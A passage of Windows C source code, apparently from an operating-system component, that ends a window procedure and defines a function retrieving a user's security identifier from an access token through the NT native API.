return DefWindowProc(hwnd, uMsg, wParam, lParam);
}
return 0L;
}
BOOL
GetUserSidFromToken(HANDLE hToken,
PSID *Sid)
{
PTOKEN_USER UserBuffer, nsb;
PSID pSid = NULL;
ULONG Length;
NTSTATUS Status;
Length = 256;
UserBuffer = LocalAlloc(LPTR, Length);
if (UserBuffer == NULL)
{
return FALSE;
}
Status = NtQueryInformationToken(hToken,
TokenUser,
(PVOID)UserBuffer,
Length,
&Length);
if (Status == STATUS_BUFFER_TOO_SMALL)
{
nsb = LocalReAlloc(UserBuffer, Length, LMEM_MOVEABLE);
if (nsb == NULL)
{
LocalFree(UserBuffer);
return FALSE;
}
UserBuffer = nsb;
Status = NtQueryInformationToken(hToken,
TokenUser,
(PVOID)UserBuffer,
Length,
&Length);
}
if (!NT_SUCCESS (Status))
{
LocalFree(UserBuffer);
return FALSE;
}
Length = RtlLengthSid(UserBuffer->User.Sid);
pSid = LocalAlloc(LPTR, Length);
if (pSid == NULL)
{
LocalFree(UserBuffer);
return FALSE;
}
Status = RtlCopySid(Length, pSid, UserBuffer->User.Sid);
LocalFree(UserBuffer);
if (!NT_SUCCESS (Status))
{
LocalFree(pSid);
return FALSE;
}
*Sid = pSid;
return TRUE;
}
